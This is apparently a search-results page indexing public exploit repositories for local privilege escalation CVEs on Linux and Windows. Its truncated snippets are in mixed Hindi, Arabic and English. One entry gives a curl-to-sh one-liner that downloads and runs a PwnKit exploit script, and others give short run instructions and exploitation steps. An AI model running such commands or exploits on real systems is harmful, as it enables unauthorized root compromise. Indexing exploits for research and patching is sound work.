34269 matches found
Exploit for Use After Free in Linux Linux_Kernel
Weaponisation research for CVE-2026-43499 ghostlock. the...
CVE-2022-29582-Exploit
CVE-2022-29582 इस रिपॉजिटरी में CVE-2022-29582 के लिए एक्सप्लॉइट कोड है, जो iouring लिनक्स कर्नेल का में एक स्थानीय विशेषाधिकार वृद्धि Local Privilege Escalation है। डिफ़ॉल्ट कॉन्फ़िगरेशन प्रभावित होते हैं और किसी विशेष विशेषाधिकार की आवश्यकता नहीं होनी चाहिए। आप writeup यहाँ पा सकते हैं:...
cve-2017-5123
CVE-2017-5123 يحتوي هذا المستودع على عرض توضيحي لـ CVE-2017-5123 ، وهو باب خلفي للتحكم والأوامر عبر ICMP، وتطبيق ويب قابل للاستغلال بثغرة CWE-78 حقن أوامر نظام التشغيل. جزء من CSC 4308 - التحدي 3. المتطلبات الأساسية Linux Kernel : من 4.13 حتى وليس بما في ذلك 4.13.7 Node.js : 10.x npm : 6.x نظرة...
CVE-2021-4034
अध्ययन कार्य CVE-2021-4034 PwnKit इस रिपॉजिटरी में वैकल्पिक मॉड्यूल Angewandte IT-Sicherheit के तहत अध्ययन कार्य की सामग्री, कोड उदाहरण और दस्तावेज़ीकरण शामिल है, जो सुरक्षा खामी CVE-2021-4034 जिसे PwnKit भी कहा जाता है पर आधारित है। सारांश वैकल्पिक मॉड्यूल Angewandte IT‑Sicherheit के तहत यह अध्य...
SysmonEoP
SysmonEoP إثبات مفهوم للحذف/الكتابة العشوائية للملفات في Sysmon CVE-2022-41120/CVE-2022-44704 الثغرة الأمنية تقع الثغرة في الكود المسؤول عن حدث ClipboardChange الذي يمكن الوصول إليه عبر RPC. يمكن للمستخدمين المحليين إرسال بيانات إلى خادم RPC، والتي ستُكتب بعد ذلك في دليل C:\Sysmon ArchiveDirector...
cve-2021-3156-sudo-lab
🐧 CVE-2021-3156 — Sudo Security Lab مشروع تعليمي مطوَّر بلغة Python يركز على تحليل الثغرة الأمنية CVE-2021-3156 Baron Samedit ، وهي ثغرة حرجة في sudo كانت تسمح بترقية الصلاحيات محليًا على أنظمة Linux. 📌 هدف المشروع أُنشئ هذا المشروع بهدف ممارسة المفاهيم الأساسية للأمن السيبراني في بيئات Linux، بم...
KERNELexploits
PwnKit CVE-2021-4034 के लिए स्व-निहित शोषण - Pkexec स्थानीय विशेषाधिकार वृद्धि उपयोग यह Ubuntu, Debian, Fedora और CentOS पर आधारित संवेदनशील Linux वितरणों पर बिना किसी बदलाव के काम करना चाहिए। root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" मैन्युअल...
CVE-2019-13272
CVE-2019-13272 Exploit local root Linux Linux 4.10 5.1.17 PTRACETRACEME root local CVE-2019-13272 root@kitploit: In the Linux kernel before 5.1.17, ptracelink in kernel/ptrace.c mishandles the recording of the credentials of a process that wants to create a ptrace relationship, which allows local...
CVE-2024-0582-dataonly
CVE-2024-0582 CVE-2024-0582 पर आधारित एक डेटा-केवल हमला विवरण यह एक्सप्लॉइट इस ब्लॉग पोस्ट में दी गई रणनीति का अनुसरण करता है, सिवाय इसके कि मैंने फ़ाइलें खोलने के लिए चाइल्ड प्रक्रिया का उपयोग नहीं किया। मुझे GitHub पर कुछ एक्सप्लॉइट मिले जो इस लेख में दी गई रणनीति का अनुसरण करते हैं। सॉकेट-आधार...
cve-2020-1054
CVE-2020-1054 CVE-2020-1054 LPE for Windows 7x64 उपयोग यदि आवश्यक हो तो Rust इंस्टॉल करें https://www.rust-lang.org/learn/get-started कोड संकलित करें: cargo build --release .exe को target/release/ से लक्ष्य पर कॉपी करें और निष्पादित करें। Windows KB यदि कोई विशिष्ट Windows KB इंस्टॉल नहीं है, तो...
CVE-2026-64531
CVE-2026-64531 — OVSwrap PoC لرفع الصلاحيات محليًا في وحدة Open vSwitch بنواة لينكس مستخدم عادي ← root. يستغل التفاف الأعداد الصحيحة في حقل nlalen ذي 16 بت للارتقاء من مستخدم عادي إلى root. ملخص الثغرة عندما يتجاوز تدفق actions المتداخلة الذي يولّده OVS حد 65535 بايت، يلتف حقل nlalen ذو 16 بت. يم...
CVE-2022-34918-LPE-PoC
CVE-2022-34918 LPE PoC CVE-2022-34918 के लिए LPE शोषण. यह शोषण कर्नेल Linux ubuntu 5.15.0-39-generic के लिए लिखा गया है। आप हमारे ब्लॉग पर संबंधित लेख पा सकते हैं। उपयोग getroot वर्तमान फ़ोल्डर में होना चाहिए root@kitploit: $ ls getroot poc $ ./poc...
CVE-2022-34918-LPE-PoC
CVE-2022-34918 LPE PoC CVE-2022-34918 के लिए LPE एक्सप्लॉइट। यह एक्सप्लॉइट कर्नेल Linux ubuntu 5.15.0-39-generic के लिए लिखा गया है। आप संबंधित विवरण हमारे ब्लॉग पर पा सकते हैं। उपयोग getroot को वर्तमान फ़ोल्डर में होना चाहिए root@kitploit: $ ls getroot poc $ ./poc...
CVE-2024-0670
CVE-2024-0670 إثبات المفهوم يوفر هذا المستودع استغلالًا لإثبات المفهوم PoC لثغرة CVE-2024-0670 ، التي تؤثر على وكيل CheckMK في أنظمة Windows. تحدث الثغرة عندما يقوم وكيل CheckMK بإنشاء وتنفيذ ملفات مؤقتة في دليل C:\Windows\Temp. يمكن للمهاجم إساءة استخدام هذا السلوك عن طريق وضع ملفات خبيثة مسبقًا...
CVE-2021-27965
CVE-2021-27965 PoC بسيط لاستغلال CVE-2021-27965 من أجل LPE عن طريق إطلاق cmd للنظام. https://vulners.com/cve/CVE-2021-27965 تم اكتشاف مشكلة في برنامج تشغيل ويندوز MICSYS الموقّع MsIo64.sys مما قد يؤدي إلى اختراق النظام المحلي بالكامل. يعاني روتين إرسال IOCTL الخاص ببرنامج التشغيل من فيضان في المخ...
CVE-2026-67394
A critical local privilege escalation via OS command injection vulnerability has been discovered in Plesk for Linux, affecting all versions from 18.0.34 before 18.0.79.9 and 18.0.80.5. The vulnerability allows a customer or reseller with shell access or allowed to change their own shell access to...
CVE-2024-0670
CVE-2024-0670 – CheckMK एजेंट में स्थानीय विशेषाधिकार वृद्धि PowerShell PoC सारांश यह रिपॉजिटरी CVE-2024-0670 के लिए एक स्वतंत्र PowerShell प्रूफ ऑफ कॉन्सेप्ट प्रस्तुत करती है, जो CheckMK एजेंट में विंडोज स्थानीय विशेषाधिकार वृद्धि की कमजोरी है। यह कमजोरी एक कम-विशेषाधिकार वाले स्थानीय उपयोगकर्ता...
CVE-2021-21551
CVE-2021-21551 के लिए PoC डेल dbutil23.sys ड्राइवर का उपयोग करके विंडोज LPE। शोषण दृष्टिकोण रीड/राइट लागू करें, शेलकोड आवंटित करें, smep को बायपास करने के लिए पेज फ्लिप करें, haldispatch ptr को ओवरराइट करें, शेलकोड निष्पादित करें।...
GameOverlayFS
यह स्क्रिप्ट CVE-2023-2640 और CVE-2023-32629 का शोषण करती है, जो OverlayFS में भेद्यता के लिए हैं जिसने Ubuntu के कुछ संस्करणों को प्रभावित किया था। परीक्षण Ubuntu 20.04 पर कर्नेल 5.4.0 के साथ किया गया है। उपयोग कैसे करें Gameoverlay.sh फ़ाइल डाउनलोड करें और एक सामान्य उपयोगकर्ता रूट नहीं के रूप...